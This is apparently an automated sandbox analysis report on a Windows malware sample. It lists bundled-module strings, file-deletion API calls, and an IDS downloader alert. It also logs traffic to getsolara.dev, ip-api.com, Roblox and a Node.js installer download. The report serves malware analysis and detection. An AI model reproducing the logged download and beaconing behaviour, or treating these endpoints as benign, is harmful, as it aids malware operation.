Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WA source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1498932456.00007FF8E83BB000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: System.Drawing.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1499964052.00007FF8F8D81000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: System.Core.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Runtime.Serialization.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1498719679.00007FF8E8371000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: System.Numerics.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: System.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1495132572.00007FF8E80FE000.00000040.00000001.01000000.0000000E.sdmp

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD083C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF7EAD083C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD09280 FindFirstFileExW,FindClose,	0_2_00007FF7EAD09280
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD21874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF7EAD21874
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD09280 FindFirstFileExW,FindClose,	2_2_00007FF7EAD09280
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD083C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	2_2_00007FF7EAD083C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD21874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_00007FF7EAD21874

Source: global traffic	HTTP traffic detected: GET /asset/discord.json HTTP/1.1Host: getsolara.devConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api/endpoint.json HTTP/1.1Host: getsolara.dev
Source: global traffic	HTTP traffic detected: GET /v2/client-version/WindowsPlayer/channel/live HTTP/1.1Host: clientsettings.roblox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dist/v18.16.0/node-v18.16.0-x64.msi HTTP/1.1Host: www.nodejs.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.67.203.125 172.67.203.125
Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1

Source: Joe Sandbox View

ASN Name: TUT-ASUS TUT-ASUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ip-api.com

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49785 -> 172.67.203.125:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Code function: 2_2_00007FF8E813660C recv,

2_2_00007FF8E813660C

Source: global traffic	HTTP traffic detected: GET /asset/discord.json HTTP/1.1Host: getsolara.devConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api/endpoint.json HTTP/1.1Host: getsolara.dev
Source: global traffic	HTTP traffic detected: GET /v2/client-version/WindowsPlayer/channel/live HTTP/1.1Host: clientsettings.roblox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dist/v18.16.0/node-v18.16.0-x64.msi HTTP/1.1Host: www.nodejs.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.3

Source: global traffic	DNS traffic detected: DNS query: blank-8rmnx.in
Source: global traffic	DNS traffic detected: DNS query: getsolara.dev
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: clientsettings.roblox.com
Source: global traffic	DNS traffic detected: DNS query: www.nodejs.org
Source: global traffic	DNS traffic detected: DNS query: nodejs.org
Source: global traffic	DNS traffic detected: DNS query: 198.187.3.20.in-addr.arpa

Source: bound.exe, 00000011.00000002.1605507236.00000254B6B9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:6463
Source: bound.exe, 00000011.00000002.1605507236.00000254B6B9E000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:6463/rpc?v=1
Source: bound.exe, 00000011.00000002.1605507236.00000254B6B9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:64632f
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390821332.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387918677.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digi
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390821332.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387713153.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388984719.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388063049.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388313113.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1391172861.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393941866.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388593417.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390354928.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388313113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393465113.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390950904.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388449108.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393465113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387918677.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387811652.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393699319.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388152864.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000002.1504216075.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390821332.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387713153.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388984719.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388063049.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1391172861.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393941866.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388593417.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390354928.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388313113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390950904.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388449108.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393465113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387918677.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387811652.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393699319.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388152864.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390821332.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387713153.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388984719.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388063049.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1391172861.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393941866.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388593417.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390354928.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388313113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390950904.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388449108.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393465113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387918677.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387811652.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393699319.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388152864.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390821332.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387713153.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388984719.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388063049.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388313113.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1391172861.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393941866.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388593417.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390354928.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388313113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393465113.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390950904.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388449108.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393465113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387918677.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387811652.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393699319.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388152864.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientsettings.roblox.com
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5E54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 0000000B.00000002.1527997670.000001E373670000.00000004.00000020.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1610583580.00000254CF160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 0000000B.00000002.1534955775.000001E373933000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: powershell.exe, 0000000B.00000002.1534955775.000001E373933000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micft.cMicRosof
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390821332.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387713153.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388984719.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388063049.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388313113.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1391172861.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393941866.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388593417.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390354928.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388313113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393465113.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390950904.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388449108.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393465113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387918677.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387811652.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393699319.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388152864.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000002.1504216075.000001C12B87C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390821332.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387713153.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388984719.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388063049.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1391172861.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393941866.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388593417.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390354928.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388313113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390950904.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388449108.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393465113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387918677.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387811652.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393699319.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388152864.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390821332.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387713153.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388984719.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388063049.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1391172861.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393941866.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388593417.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390354928.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388313113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390950904.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388449108.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393465113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387918677.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387811652.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393699319.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388152864.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: _queue.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
